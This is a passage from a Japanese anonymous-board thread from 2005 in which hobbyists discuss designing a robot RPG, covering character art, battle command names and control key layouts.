0865名前は開発中のものです。2005/12/12(月) 00:25:48ID:2TqJOsAQ
うはーGJ!どっちもすげえ!
アンナさんお嬢様ぽくて良いです好みです(;´Д`)

ところでそろそろNANAも廃れてきた事だし、ANNAにきちんとした名前をやらないか。

>>862
前にやったツクールのRPGでは、戦闘のコマンドが

剣撃
降魔陣
秘技
絶技
呪具
必殺技
完全必殺技

とかなっててorz
とりあえず、コマンド名は単純明快にしたほうがよいと思われ
08668 ◆jS1vbFJDVk 2005/12/12(月) 01:43:45ID:2H3Mlgog
プロトタイプ更新はできませんが、まとめサイトは年内更新予定。
せめてネタや素材の大掃除だけでもすませておきたい8です。
>>858
通信のやりとりは遊び要素入れやすいですし、
一緒に戦う感じも出せるので、実装したいですね。
>>859
マジ。以前チャットでご一緒しました。
もし協力してくれるならこの上なく心強いのですが、
企画もあるので今は無理かと。
>>862-863
直感的な要素を「考える」ということが何よりも難しい。
しかも、ロボットものは情報量が多くなりがちなのでさらに大変。
改造は大前提として、あとはどんな要素を入れて、切り捨てて…
>>864
GJです!おおう、半壊ロボはボロボロの質感出てますね。
ANNAもこれまでのロボスレにない感じのキャラでグッド。
半壊ドット、一度実装してみます。それが年内最後更新ってことで。
>>865
直感的にわかりにくいw
ろぼだまで単純明快コマンドというと、こんな感じでしょうか。

移動(逃走含む)
攻撃(格闘)

防御
アイテム
チャージ
連携(仲間実装するならあるかも)
0867名前は開発中のものです。2005/12/12(月) 02:10:35ID:1nGLS/xz
上下キー……前進後退
左右キー……左右武器、メニュー切り替え
A……………決定
B……………キャンセル

なら、基本操作は直感的に理解出来るかな?
リアルタイム要素だけショートカットで実行する感じで。
0868zk ◆PPcELrLkWg 2005/12/12(月) 07:16:51ID:F40LLptu
コマンドは

移動
右腕武器(装備なしの場合はつかむ等の特殊コマンド)
左腕武器(同上)
防御
アイテム
チャージ
仲間に指示

でいいんじゃないかと思うんだゲロ。
あ、武器(銃)で殴打もアリか。
0869名前は開発中のものです。2005/12/12(月) 08:27:47ID:PXakaiAZ
攻撃コマンドは、「右手/左手」?「銃器/格闘」?
これって成長(改造)システムとも関わってくると思うんだけど
どういうシステムになってるわけ?

あと移動は確定?
0870名前は開発中のものです。2005/12/12(月) 14:09:08ID:4zx6oX5u
ランチャー系の火気が4つ装備できて、
鉄機みたいにF1〜4を順に押して連射とかできたらキムチいいね
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